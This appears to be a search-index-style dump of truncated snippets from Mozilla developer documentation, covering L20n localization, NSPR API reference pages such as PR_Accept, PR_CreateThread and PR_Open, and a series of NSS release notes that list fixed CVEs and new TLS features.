newnotifications": 3, "user": { "name": "jane", "gender": "feminine" } } </script> this data will be available context-wide to all localized strings. for instance, a string could use the information about the user's gender to provide two variants of the translation, like in the example below. see l20n by example to learn more about l20n's syntax. <invited[$user.gender] { feminine: "{...
...e l20n can also operate in the so-called monolingual mode, when there is only one locale available. it doesn't have any specific locale code (internally, it's called i-default in compliance to rfc 2277). there is no language negotiation nor locale fallback possible in the monolingual mode. l20n simply always uses this one default locale. the monolingual mode may be useful when you first start a
new project, when you want to test something quickly or when using server-side language negotiation. in order to enable the monolingual mode, remove the manifest link from your html. with no information about the available and the default locales, l20n will switch to the monolingual mode. you can then embed localization resources right in your html. <script type="application/l20n"> <brandname "fi...
Optimizing Applications For NSPR
ng native nt threads as the virtual processors and nt's fiber abstraction as the locally scheduled threads. the fibers are nice because much of the nt api understands them. but they are not really preemptable, and that can lead to problems, depending on the needs of your application. the mode (blocking or nonblocking) of a socket cannot be changed at will once the socket has been used. also, the
new socket created by an <tt>pr_accept()</tt> call on a listening socket inherits the mode of the listening socket, and cannot be changed. a file descriptor is not usable after an io operation on it fails with either <tt>pr_io_timeout_error</tt> or <tt>pr_io_interrupt_error</tt>. the only thing you can do is to close the file descriptor. see the faq article for more info. there is no current workaro...
...ither <tt>pr_io_timeout_error</tt> or <tt>pr_io_interrupt_error</tt>. the only thing you can do is to close the file descriptor. see the faq article for more info. there is no current workaround. you must write your program with this restriction in mind. pr_interrupt is implemented except for <tt>pr_connect()</tt>. irix the irix (classic) implementation has a known race condition in creating
new threads. if the spawned thread establishes and exits before the parent thread is resumed, the parent will be left with an invalid pointer to the child. the problem has a solution that will be available soon. digital unix digital unix (aka, osf1) requires the latest patches for the pthreads library. the changes are not evident until one tries to do thread suspension (<tt>pr_suspendall()</tt>) ...
Memory Management Operations
malloc(), calloc(), realloc(), and free(), and have the same semantics. ...
...and free(), and have the same semantics. ...
NSPR LOG MODULES
this environment variable specifies which log modules have logging enabled. syntax modulename:level[, modulename:level]* modulename is the name specified in a pr_
newlogmodule call or one of the handy magic names listed below. level is a numeric value between 0 and 5, with the values having the following meanings: 0 = pr_log_none: nothing should be logged 1 = pr_log_always: important; intended to always be logged 2 = pr_log_error: errors 3 = pr_log_warning: warnings 4 = pr_log_debug: debug messages, notices 5: everything! description specify a modulename that is associated with the name argument in a call to pr_
newlogmodule and a non-zero level value to enable logging for the named modulename. special log module names are provided for controlling nspr's log service at execut...
..., set the variable as follows: set nspr_log_modules=all:5 timestamp including timestamp results in a timestamp of the form "2015-01-15 21:24:26.049906 utc - " prefixing every logged line. append including append results in log entries being appended to the existing contents of the file referenced by nspr_log_file. if not specified, the existing contents of nspr_log_file will be lost as a
new file is created with the same filename. sync the name sync enables unbuffered logging. this ensures that all log messages are flushed to the operating system as they are written, but may slow the program down. bufsize:size the name bufsize:size sets the log buffer to size. examples log everything from the toolkit::storage component that happens, prefixing each line with the timestamp when ...
PR_Accept
accepts a connection on a specified socket. syntax #include <prio.h> prfiledesc* pr_accept( prfiledesc *fd, prnetaddr *addr, printervaltime timeout); parameters the function has the following parameters: fd a pointer to a prfiledesc object representing the rendezvous socket on which the caller is willing to accept
new connections. addr a pointer to a structure of type prnetaddr. on output, this structure contains the address of the connecting entity. timeout a value of type printervaltime specifying the time limit for completion of the accept operation. returns the function returns one of the following values: upon successful acceptance of a connection, a pointer to a
new prfiledesc structure representing the
newly accepted connection. if unsuccessful, null. furthe...
... prfiledesc structure representing the
newly accepted connection. if unsuccessful, null. further information can be obtained by calling pr_geterror. description the socket fd is a rendezvous socket that has been bound to an address with pr_bind and is listening for connections after a call to pr_listen. pr_accept accepts the first connection from the queue of pending connections and creates a
new socket for the
newly accepted connection. the rendezvous socket can still be used to accept more connections. if the addr parameter is not null, pr_accept stores the address of the connecting entity in the prnetaddr object pointed to by addr. pr_accept blocks the calling thread until either a
new connection is successfully accepted or an error occurs. if the timeout parameter is not pr_interval...
PR_CreateThread
creates a
new thread. syntax #include <prthread.h> prthread* pr_createthread( prthreadtype type, void (*start)(void *arg), void *arg, prthreadpriority priority, prthreadscope scope, prthreadstate state, pruint32 stacksize); parameters pr_createthread has the following parameters: type specifies that the thread is either a user thread (pr_user_thread) or a system thread (pr_system_thread). start a pointer to the thread's root function, which is called as the root of the
new thread. returning from this function is the only way to terminate a thread. arg a pointer to the root function's only parameter. nspr does not assess the type or the validity of the value passed in this parameter. priority the initial priority of the
newly created thread. scope specif...
...pecifies your preference for making the thread local (pr_local_thread), global (pr_global_thread) or global bound (pr_global_bound_thread). however, nspr may override this preference if necessary. state specifies whether the thread is joinable (pr_joinable_thread) or unjoinable (pr_unjoinable_thread). stacksize specifies your preference for the size of the stack, in bytes, associated with the
newly created thread. if you pass zero in this parameter, pr_createthread chooses the most favorable machine-specific stack size. returns the function returns one of the following values: if successful, a pointer to the
new thread. this pointer remains valid until the thread returns from its root function. if unsuccessful, (for example, if system resources are unavailable), null. description...
PR ImportTCPSocket
clude "private/pprio.h" prfiledesc* pr_importtcpsocket(prosfd osfd); parameters the function has the following parameters: osfd the native file descriptor for the tcp socket to import. on posix systems, this is an int. on windows, this is a socket. returns the function returns one of the following values: upon successful completion, a pointer to the prfiledesc object created for the
newly imported native tcp socket. if the import of the native tcp socket failed, null. description a native tcp socket osfd can be imported into nspr with pr_importtcpsocket. the caller gives up control of the native tcp socket osfd and should use the prfiledesc* returned by pr_importtcpsocket instead. although pr_importtcpsocket is a supported function, it is declared in "private/pprio.h" to st...
...porttcpsocket may break when nspr's implementation changes. in practice, this is unlikely to happen because nspr's implementation has been stable for years and because of nspr's strong commitment to backward compatibility. using pr_importtcpsocket is much more convenient than writing an nspr i/o layer that wraps your native tcp sockets. of course, it is best if you just use pr_opentcpsocket or pr_
newtcpsocket. if you are not sure whether pr_importtcpsocket is right for you, please ask in the mozilla.dev.tech.nspr
newsgroup. ...
PR_MkDir
creates a directory with a specified name and access mode. syntax #include <prio.h> prstatus pr_mkdir( const char *name, printn mode); parameters the function has the following parameters: name the name of the directory to be created. all the path components up to but not including the leaf component must already exist. mode the access permission bits of the file mode of the
new directory if the file is created when pr_create_file is on. caveat: the mode parameter is currently applicable only on unix platforms. it may be applicable to other platforms in the future. possible values include the following: 00400. read by owner. 00200. write by owner. 00100. search by owner. 00040. read by group. 00020. write by group. 00010. search by group. 00004. read by othe...
...nclude the following: 00400. read by owner. 00200. write by owner. 00100. search by owner. 00040. read by group. 00020. write by group. 00010. search by group. 00004. read by others. 00002. write by others. 00001. search by others. returns if successful, pr_success. if unsuccessful, pr_failure. the actual reason can be retrieved via pr_geterror. description pr_mkdir creates a
new directory with the pathname name. all the path components up to but not including the leaf component must already exist. for example, if the pathname of the directory to be created is a/b/c/d, the directory a/b/c must already exist. see also pr_rmdir ...
PR_Open
, each write will wait for both the file data and file status to be physically updated. pr_excl 0x80 with pr_create_file, if the file does not exist, the file is created. if the file already exists, no action and null is returned. mode when pr_create_file flag is set and the file is created, these flags define the access permission bits of the
newly created file. this feature is currently only applicable on unix platforms. it is ignored by any other platform but it may apply to other platforms in the future. possible values of the mode parameter are listed in the table below. name value description pr_irwxu 0700 read, write, execute/search by owner. pr_irusr 0400 read permis...
... 0007 read, write, execute/search by others pr_iroth 0004 read permission, others pr_iwoth 0002 write permission, others pr_ixoth 0001 execute/search permission, others returns the function returns one of the following values: if the file is successfully opened, a pointer to a dynamically allocated prfiledesc for the
newly opened file. the prfiledesc should be freed by calling pr_close. if the file was not opened successfully, a null pointer. description pr_open creates a file descriptor (prfiledesc) for the file with the pathname name and sets the file status flags of the file descriptor according to the value of flags. if a
new file is created as a result of the pr_open call, its file mode bits are set acco...
PR_OpenSharedMemory
syntax #include <prshm.h> nspr_api( prsharedmemory * ) pr_opensharedmemory( const char *name, prsize size, printn flags, printn mode ); /* define values for pr_opensharememory(...,create) */ #define pr_shm_create 0x1 /* create if not exist */ #define pr_shm_excl 0x2 /* fail if already exists */ parameters the function has the following parameters: name the name of the shared memory segment. size the size of the shared memory segment. flags options for creating the shared memory. ...
...lowing parameters: name the name of the shared memory segment. size the size of the shared memory segment. flags options for creating the shared memory. mode same as passed to pr_open. returns pointer to opaque structure prsharedmemory, or null if an error occurs. retrieve the reason for the failure by calling pr_geterror and pr_getoserror. description pr_opensharedmemory creates a
new shared memory segment or associates a previously created memory segment with the specified name. when parameter create is (pr_shm_excl | pr_shm_create) and the shared memory already exists, the function returns null with the error set to pr_file_exists_error. when parameter create is pr_shm_create and the shared memory already exists, a handle to that memory segment is returned. if the segment d...
PR_OpenTCPSocket
creates a
new tcp socket of the specified address family. syntax #include <prio.h> prfiledesc* pr_opentcpsocket(printn af); parameters the function has the following parameters: af the address family of the
new tcp socket. can be pr_af_inet (ipv4), pr_af_inet6 (ipv6), or pr_af_local (unix domain, supported on posix systems only). returns the function returns one of the following values: upon successful completion, a pointer to the prfiledesc object created for the
newly opened tcp socket. if the creation of a
new tcp socket failed, null. description tcp (transmission control protocol) is a connection-oriented, reliable byte-stream protocol of the tcp/ip protocol suite. pr_opentcpsocket creates a
new tcp socket of the address family af. a tcp connection is established by a...
...equests, and calls pr_accept to accept a connection. the client makes a connection request using pr_connect. after a connection is established, the client and server may send and receive data between each other. to receive data, one can call pr_read or pr_recv. to send data, one can call pr_write, pr_writev, pr_send, or pr_transmitfile. pr_acceptread is suitable for use by the server to accept a
new client connection and read the client's first request in one function call. a tcp connection can be shut down by pr_shutdown, and the sockets should be closed by pr_close. ...
PR OpenUDPSocket
creates a
new udp socket of the specified address family. syntax #include <prio.h> prfiledesc* pr_openudpsocket(printn af); parameters the function has the following parameters: af the address family of the
new udp socket. can be pr_af_inet (ipv4), pr_af_inet6 (ipv6), or pr_af_local (unix domain, supported on posix systems only). returns the function returns one of the following values: upon successful completion, a pointer to the prfiledesc object created for the
newly opened udp socket. if the creation of a
new udp socket failed, null. description udp (user datagram protocol) is a connectionless, unreliable datagram protocol of the tcp/ip protocol suite. udp datagrams may be lost or delivered in duplicates or out of sequence. ...
...the socket may be bound to a well-known port number with pr_bind. datagrams can be sent with pr_sendto and received with pr_recvfrom. ...
PR_PushIOLayer
adds a layer onto the stack. syntax #include <prio.h> prstatus pr_pushiolayer( prfiledesc *stack, prdescidentity id, prfiledesc *layer); parameters the function has the following parameters: stack a pointer to a prfiledesc object representing the stack. id a prdescidentity object for the layer on the stack above which the
new layer is to be added. layer a pointer to a prfiledesc object representing the
new layer to be added to the stack. returns the function returns one of the following values: if the layer is successfully pushed onto the stack, pr_success. if the layer is not successfully pushed onto the stack, pr_failure. use pr_geterror to get additional information regarding the reason for the failure. description a file descriptor for a layer (possibly allo...
...wing values: if the layer is successfully pushed onto the stack, pr_success. if the layer is not successfully pushed onto the stack, pr_failure. use pr_geterror to get additional information regarding the reason for the failure. description a file descriptor for a layer (possibly allocated using pr_createiolayerstub) may be pushed onto an existing stack of file descriptors at any time. the
new layer is inserted into the stack just above the layer with the identity specified by id. even if the id parameter indicates the topmost layer of the stack, the value of the file descriptor describing the original stack will not change. in other words, stack continues to point to the top of the stack after the function returns. caution keeping the pointer to the stack even as layers are pushed ...
Threads
e validity of the thread. it is the caller's responsibility to ensure that the thread is valid. the effects of these functions on invalid threads are undefined. creating, joining, and identifying threads controlling thread priorities interrupting and yielding setting global thread concurrency getting a thread's scope creating, joining, and identifying threads pr_createthread creates a
new thread. pr_jointhread blocks the calling thread until a specified thread terminates. pr_getcurrentthread returns the current thread object for the currently running code. pr_attachthread associates a prthread object with an existing native thread. pr_detachthread disassociates a prthread object from a native thread. controlling thread priorities for an overview of the way nspr controls...
...ls thread priorities, see setting thread priorities. you set a thread's nspr priority when you create it with pr_createthread. after a thread has been created, you can get and set its priority with these functions: pr_getthreadpriority pr_setthreadpriority controlling per-thread private data you can use these functions to associate private data with each of the threads in a process: pr_
newthreadprivateindex allocates a unique index. if the call is successful, every thread in the same process is capable of associating private data with the
new index. pr_setthreadprivate associates private thread data with an index. pr_getthreadprivate retrieves data associated with an index. interrupting and yielding pr_interrupt requests an interrupt of another thread. once the target thread...
Deprecated SSL functions
each function name is linked to its entry in the old ssl reference. the mozilla cross reference (mxr) link for each function provides access to the function definition, prototype definition, and source code references. ...
...each function name is linked to its entry in the old ssl reference. the mozilla cross reference (mxr) link for each function provides access to the function definition, prototype definition, and source code references. ...
Getting Started With NSS
help us to improve the core security of mozilla firefox and other applications that make use of nss? we are looking forward to your contributions! we have a large list of tasks waiting for attention, and we are happy to assist you in identifying areas that match your interest or skills. you can find us on mozilla irc in channel #nss or you could ask your questions on the mozilla.dev.tech.crypto
newsgroup. the nss library and its supporting command line tools are written in the c programming language. its build system and the automated tests are based on makefiles and bash scripts. over time, many documents have been produced that describe various aspects of nss. you can start with: the current primary nss documentation page from which we link to other documentation. a general overview...
...ter at this time, so our documentation is not as organized as we would like it to be. you could contribute by organizing it in a better way.) nss sample code a good place to start learning how to write nss applications are the command line tools that are maintained by the nss developers. you can find them in subdirectory mozilla/security/nss/cmd or have a look at some basic nss sample code. a
new set of samples is currently under development and review, see create
new nss samples. you are welcome to download the samples via: hg clone https://hg.mozilla.org/projects/nss; cd nss; hg update samples_branch how to contribute ... (this section is still under construction, but there are many contribution opportunities) start by opening a bugzilla account at bugzilla.mozilla.org if you don't...
JSS
ptographic operations are performed. jss essentially provides a java jni bridge to nss c shared libraries. when nss is put in fips mode, jss ensures fips compliance by ensuring that all cryptographic operations are performed by the nss cryptographic module. jss offers a jce provider, "mozilla-jss" jca provider notes. jss, jss4.jar, is still built with jdk 1.4.2. while jdk 1.4.2 is eol'd and all
new product development should be using the latest javase, legacy business products that must use jdk 1.4 or 1.5 can continue to add nss/jss security fixes/enhancements. jss is used by red hat and sun products that do crypto in java. jss is available under the mozilla public license, the gnu general public license, and the gnu lesser general public license. jss requires nspr and nss. java provides ...
... download binaries, source, and javadoc view the source online testing jss tests frequently asked questions jss faq information on jss planning can be found at wiki.mozilla.org, including: nss fips validation nss roadmap page community view mozilla cryptography forums... mailing list
newsgroup rss feed related topics security ...
NSS 3.14.2 release notes
network security services (nss) 3.14.2 is a patch release for nss 3.14. the bug fixes in nss 3.14.2 are described in the "bugs fixed" section below. nss 3.14.2 should be used with nspr 4.9.5 or
newer. the release is available for download from https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_14_2_rtm/src/ for the primary nss documentation pages please visit /docs/nss
new in nss 3.14.2 nss will now make use of the intel aes-ni and avx instruction sets for hardware-accelerated aes-gcm on 64-bit linux systems. note: the
new assembly code requires gnu as version 2.19 or
newer. on red hat enterprise linux 5.x systems, install the binutils220 package and add /usr/libexec/binutils220 to the beginning of your path environment variable. initial manual pages for some nss...
...linux 5.x systems, install the binutils220 package and add /usr/libexec/binutils220 to the beginning of your path environment variable. initial manual pages for some nss command line tools have been added. they are still under review, and contributions are welcome. the documentation is in the docbook format and can be rendered as html and unix-style manual pages using an optional build target.
new types: in certt.h cert_pi_useonlytrustanchors in secoidt.h sec_oid_ms_ext_key_usage_ctl_signing notable changes in nss 3.14.2 bug 805604 - support for aes-ni and avx accelerated aes-gcm was contributed by shay gueron of intel. if compiled on linux systems in 64-bit mode, nss will include runtime detection to check if the platform supports aes-ni and ...
NSS 3.14.3 release notes
introduction network security services (nss) 3.14.3 is a patch release for nss 3.14. the bug fixes in nss 3.14.3 are described in the "bugs fixed" section below. distribution information the cvs tag is nss_3_14_3_rtm. nss 3.14.3 requires nspr 4.9.5 or
newer. nss 3.14.3 source distributions are also available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_14_3_rtm/src/
new in nss 3.14.3
new functionality no
new major functionality is introduced in this release. this release is a patch release to address cve-2013-1620.
new functions in pk11pub.h pk11_signwithsymkey - similar to pk11_sign, performs a signing operation in a single operation. however, unlike pk11_sign, which uses a...
...introduced in this release. this release is a patch release to address cve-2013-1620.
new functions in pk11pub.h pk11_signwithsymkey - similar to pk11_sign, performs a signing operation in a single operation. however, unlike pk11_sign, which uses a seckeyprivatekey, pk11_signwithsymkey performs the signature using a symmetric key, such as commonly used for generating macs.
new types ck_nss_mac_constant_time_params - parameters for use with ckm_nss_hmac_constant_time and ckm_nss_ssl3_mac_constant_time.
new pkcs #11 mechanisms ckm_nss_hmac_constant_time - constant-time hmac operation for use when verifying a padded, mac-then-encrypted block of data. ckm_nss_ssl3_mac_constant_time - constant-time mac operation for use when verifying a padded, mac-then-encrypted b...
NSS 3.14.4 release notes
introduction network security services (nss) 3.14.4 is a patch release for nss 3.14. the bug fixes in nss 3.14.4 are described in the "bugs fixed" section below. distribution information the cvs tag is nss_3_14_4_rtm. nss 3.14.4 requires nspr 4.9.5 or
newer. ...
...available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_14_4_rtm/src/ security advisories the following security-relevant bugs have been resolved in nss 3.14.4. users are encouraged to upgrade immediately. bug 894370 - (cve-2013-1739) avoid uninitialized data read in the event of a decryption failure.
new in nss 3.14.4
new functionality no
new major functionality is introduced in this release. this release is a patch release to address cve-2013-1739. bugs fixed in nss 3.14.4 https://bugzilla.mozilla.org/buglist.cgi?bug_id=894370%2c832942%2c863947&bug_id_type=anyexact&list_id=8338081&resolution=fixed&classification=components&query_format=advanced&product=nss compatibility nss 3.14.4 shared...
NSS 3.15.2 release notes
available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_15_2_rtm/src/ security advisories the following security-relevant bugs have been resolved in nss 3.15.2. users are encouraged to upgrade immediately. bug 894370 - (cve-2013-1739) avoid uninitialized data read in the event of a decryption failure.
new in nss 3.15.2
new functionality aes-gcm ciphersuites: aes-gcm cipher suite (rfc 5288 and rfc 5289) support has been added when tls 1.2 is negotiated. specifically, the following cipher suites are now supported: tls_ecdhe_ecdsa_with_aes_128_gcm_sha256 tls_ecdhe_rsa_with_aes_128_gcm_sha256 tls_dhe_rsa_with_aes_128_gcm_sha256 tls_rsa_with_aes_128_gcm_sha256 n...
...5289) support has been added when tls 1.2 is negotiated. specifically, the following cipher suites are now supported: tls_ecdhe_ecdsa_with_aes_128_gcm_sha256 tls_ecdhe_rsa_with_aes_128_gcm_sha256 tls_dhe_rsa_with_aes_128_gcm_sha256 tls_rsa_with_aes_128_gcm_sha256
new functions pk11_cipherfinal has been introduced, which is a simple alias for pk11_digestfinal.
new types no
new types have been introduced.
new pkcs #11 mechanisms no
new pkcs#11 mechanisms have been introduced notable changes in nss 3.15.2 bug 880543 - support for aes-gcm ciphersuites that use the sha-256 prf bug 663313 - md2, md4, and md5 signatures are no longer accepted for ocsp or crls, consistent with their handling for general certificate signatures. bug 884178 - add pk11_cipherf...
NSS 3.15.3 release notes
introduction network security services (nss) 3.15.3 is a patch release for nss 3.15. the bug fixes in nss 3.15.3 are described in the "bugs fixed" section below. distribution information the hg tag is nss_3_15_3_rtm. nss 3.15.3 requires nspr 4.10.2 or
newer. nss 3.15.3 source distributions are also available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_15_3_rtm/src/ security advisories the following security-relevant bugs have been resolved in nss 3.15.3. users are encouraged to upgrade immediately. bug 925100 - (cve-2013-1741) ensure a size is <= half of the maximum pruint32 value bug 934016 - (cve-2013-5605) handle invalid handshake packets bug 910438 - (cve-2013-5606) return the correct r...
... security advisories the following security-relevant bugs have been resolved in nss 3.15.3. users are encouraged to upgrade immediately. bug 925100 - (cve-2013-1741) ensure a size is <= half of the maximum pruint32 value bug 934016 - (cve-2013-5605) handle invalid handshake packets bug 910438 - (cve-2013-5606) return the correct result in cert_verifycert on failure, if a verifylog isn't used
new in nss 3.15.3
new functionality no
new major functionality is introduced in this release. this release is a patch release to address cve-2013-1741, cve-2013-5605 and cve-2013-5606. bugs fixed in nss 3.15.3 bug 850478 - list rc4_128 cipher suites after aes_128 cipher suites bug 919677 - don't advertise tls 1.2-only ciphersuites in a tls 1.1 clienthello a complete list of all bugs resolved in t...
NSS 3.15.5 release notes
introduction network security services (nss) 3.15.5 is a patch release for nss 3.15. the bug fixes in nss 3.15.5 are described in the "bugs fixed" section below. distribution information the hg tag is nss_3_15_5_rtm. nss 3.15.5 requires nspr 4.10.2 or
newer. nss 3.15.5 source distributions are also available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_15_5_rtm/src/
new in nss 3.15.5
new functionality added support for the tls application layer protocol negotiation (alpn) extension. two ssl socket options, ssl_enable_npn and ssl_enable_alpn, can be used to control whether npn or alpn (or both) should be used for application layer protocol negotiation. added the tls padding extension. the exte...
...o ssl socket options, ssl_enable_npn and ssl_enable_alpn, can be used to control whether npn or alpn (or both) should be used for application layer protocol negotiation. added the tls padding extension. the extension type value is 35655, which may change when an official extension type value is assigned by iana. nss automatically adds the padding extension to clienthello when necessary. added a
new macro cert_list_tail, defined in certt.h, for getting the tail of a certcertlist. notable changes in nss 3.15.5 bug 950129: improve the ocsp fetching policy when verifying ocsp responses bug 949060: validate the iov input argument (an array of priovec structures) of ssl_writev (called via pr_writev). applications should still take care when converting struct iov to priovec because the iov_len...
NSS 3.16.2.1 release notes
introduction network security services (nss) 3.16.2.1 is a patch release for nss 3.16, based on the nss 3.16.2 release. the bug fixes in nss 3.16.2.1 are described in the "bugs fixed" section below. distribution information the hg tag is nss_3_16_2_1_rtm. nss 3.16.2.1 requires nspr 4.10.6 or
newer. ...
...ilable on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_2_1_rtm/src/ security advisories the following security-relevant bugs have been resolved in nss 3.16.2.1. users are encouraged to upgrade immediately. bug 1064636 - (cve-2014-1568) rsa signature forgery in nss. see also mfsa 2014-73 for details.
new in nss 3.16.2.1
new functionality no
new functionality is introduced in this release. this is a patch release to fix a bug that caused nss to accept forged rsa signatures. a
new symbol, _sgn_verifypkcs1digestinfo is exported in this release. as with all exported nss symbols that have a leading underscore '_', this is an internal symbol for nss use only. applications that use or depend on these...
NSS 3.16.5 release notes
introduction network security services (nss) 3.16.5 is a patch release for nss 3.16. the bug fixes in nss 3.16.5 are described in the "bugs fixed" section below. distribution information the hg tag is nss_3_16_5_rtm. nss 3.16.5 requires nspr 4.10.6 or
newer. nss 3.16.5 source distributions are also available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_5_rtm/src/ security advisories the following security-relevant bugs have been resolved in nss 3.16.5. users are encouraged to upgrade immediately. bug 1064636 - (cve-2014-1568) rsa signature forgery in nss. see also mfsa 2014-73 for details.
new in nss 3.16.5
new functionality no
new functionality is introduced in this release. th...
...as with all exported nss symbols that have a leading underscore '_', this is an internal symbol for nss use only. ...
NSS 3.17.4 release notes
introduction network security services (nss) 3.17.4 is a patch release for nss 3.17. the bug fixes in nss 3.17.4 are described in the "bugs fixed" section below. distribution information the hg tag is nss_3_17_4_rtm. nss 3.17.4 requires nspr 4.10.7 or
newer. nss 3.17.4 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_17_4_rtm/src/
new in nss 3.17.4
new functionality no
new functionality is introduced in this release. this is a patch release to fix multiple bugs. notable changes in nss 3.17.4 bug 1084986: if an ssl/tls connection fails, because client and server don't have any common protocol version enabled, nss has been changed to report error code ssl...
...is introduced in this release. this is a patch release to fix multiple bugs. notable changes in nss 3.17.4 bug 1084986: if an ssl/tls connection fails, because client and server don't have any common protocol version enabled, nss has been changed to report error code ssl_error_unsupported_version (instead of reporting ssl_error_no_cypher_overlap). bug 1112461: libpkix was fixed to prefer the
newest certificate, if multiple certificates match. bug 1094492: fixed a memory corruption issue during failure of keypair generation. bug 1113632: fixed a failure to reload a pkcs#11 module in fips mode. bug 1119983: fixed interoperability of nss server code with a libressl client. bugs fixed in nss 3.17.4 this bugzilla query returns all the bugs fixed in nss 3.17.4: https://bugzilla.mozilla.
NSS 3.17 release notes
introduction the nss team has released network security services (nss) 3.17, which is a minor release. distribution information the hg tag is nss_3_17_rtm. nss 3.17 requires nspr 4.10.7 or
newer. nss 3.17 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_17_rtm/src/
new in nss 3.17
new functionality when using ecdhe, the tls server code may be configured to generate a fresh ephemeral ecdh key for each handshake, by setting the ssl_reuse_server_ecdhe_key socket option to pr_false. the ssl_reuse_server_ecdhe_key option defaults to pr_true, which means the server's ephemeral ecdh key is reused for multiple handshakes. this option does not affect the tls client code, ...
...be configured to generate a fresh ephemeral ecdh key for each handshake, by setting the ssl_reuse_server_ecdhe_key socket option to pr_false. the ssl_reuse_server_ecdhe_key option defaults to pr_true, which means the server's ephemeral ecdh key is reused for multiple handshakes. this option does not affect the tls client code, which always generates a fresh ephemeral ecdh key for each handshake.
new macros in ssl.h ssl_reuse_server_ecdhe_key notable changes in nss 3.17 the manual pages for the certutil and pp tools have been updated to document the
new parameters that had been added in nss 3.16.2. on windows, the
new build variable use_static_rtl can be used to specify the static c runtime library should be used. by default the dynamic c runtime library is used. bugs fixed ...
NSS 3.19.2.1 release notes
introduction network security services (nss) 3.19.2.1 is a patch release for nss 3.19.2. the bug fixes in nss 3.19.2.1 are described in the "security advisories" section below. distribution information the hg tag is nss_3_19_2_1_rtm. nss 3.19.2.1 requires nspr 4.10.10 or
newer. nss 3.19.2.1 and nspr 4.10.10 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_19_2_1_rtm/src/ https://ftp.mozilla.org/pub/nspr/releases/v4.10.10/src/ security advisories the following security-relevant bugs have been resolved in nss 3.19.2.1. users are encouraged to upgrade immediately. bug 1192028 (cve-2015-7181) and bug 1202868 (cve-2015-7182): several issues existed within ...
... the affected nspr code at build time, it is necessary to use nspr 4.10.10 when building nss. bug 1205157 (nspr, cve-2015-7183): a logic bug in the handling of large allocations would allow exceptionally large allocations to be reported as successful, without actually allocating the requested memory. this may allow attackers to bypass security checks and obtain control of arbitrary memory.
new in nss 3.19.2.1
new functionality no
new functionality is introduced in this release. this is a patch release to fix security-relevant bugs. compatibility nss 3.19.2.1 shared libraries are backward compatible with all older nss 3.x shared libraries. a program linked with older nss 3.x shared libraries will work with nss 3.19.2.1 shared libraries without recompiling or relinking. furthermore, ...
NSS 3.19.4 release notes
introduction network security services (nss) 3.19.4 is a patch release for nss 3.19. the bug fixes in nss 3.19.4 are described in the "security advisories" section below. distribution information the hg tag is nss_3_19_4_rtm. nss 3.19.4 requires nspr 4.10.10 or
newer. nss 3.19.4 and nspr 4.10.10 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_19_4_rtm/src/ https://ftp.mozilla.org/pub/nspr/releases/v4.10.10/src/ security advisories the following security-relevant bugs have been resolved in nss 3.19.4. users are encouraged to upgrade immediately. bug 1192028 (cve-2015-7181) and bug 1202868 (cve-2015-7182): several issues existed within the asn.1 decode...
... the affected nspr code at build time, it is necessary to use nspr 4.10.10 when building nss. bug 1205157 (nspr, cve-2015-7183): a logic bug in the handling of large allocations would allow exceptionally large allocations to be reported as successful, without actually allocating the requested memory. this may allow attackers to bypass security checks and obtain control of arbitrary memory.
new in nss 3.19.4
new functionality no
new functionality is introduced in this release. this is a patch release to fix security-relevant bugs. compatibility nss 3.19.4 shared libraries are backward compatible with all older nss 3.x shared libraries. a program linked with older nss 3.x shared libraries will work with nss 3.19.4 shared libraries without recompiling or relinking. furthermore, applic...
NSS 3.20.1 release notes
introduction network security services (nss) 3.20.1 is a patch release for nss 3.20. the bug fixes in nss 3.20.1 are described in the "security advisories" section below. distribution information the hg tag is nss_3_20_1_rtm. nss 3.20.1 requires nspr 4.10.10 or
newer. nss 3.20.1 and nspr 4.10.10 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_20_1_rtm/src/ https://ftp.mozilla.org/pub/nspr/releases/v4.10.10/src/ security advisories the following security-relevant bugs have been resolved in nss 3.20.1. users are encouraged to upgrade immediately. bug 1192028 (cve-2015-7181) and bug 1202868 (cve-2015-7182): several issues existed within the asn.1 decode...
... the affected nspr code at build time, it is necessary to use nspr 4.10.10 when building nss. bug 1205157 (nspr, cve-2015-7183): a logic bug in the handling of large allocations would allow exceptionally large allocations to be reported as successful, without actually allocating the requested memory. this may allow attackers to bypass security checks and obtain control of arbitrary memory.
new in nss 3.20.1
new functionality no
new functionality is introduced in this release. this is a patch release to fix security-relevant bugs. compatibility nss 3.20.1 shared libraries are backward compatible with all older nss 3.x shared libraries. a program linked with older nss 3.x shared libraries will work with nss 3.20.1 shared libraries without recompiling or relinking. furthermore, applic...
NSS 3.27 release notes
introduction the network security services (nss) team has released nss 3.27, which is a minor release. distribution information the hg tag is nss_3_27_rtm. nss 3.27 requires netscape portable runtime (nspr) 4.13 or
newer. nss 3.27 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_27_rtm/src/
new in nss 3.27
new functionality allow custom named group priorities for tls key exchange handshake (ssl_namedgroupconfig). ...
... although the maximum tls version enabled by default is still tls 1.2, there are applications that query the list of tls protocol versions supported by nss, and enable all supported versions. ...
NSS 3.29.1 release notes
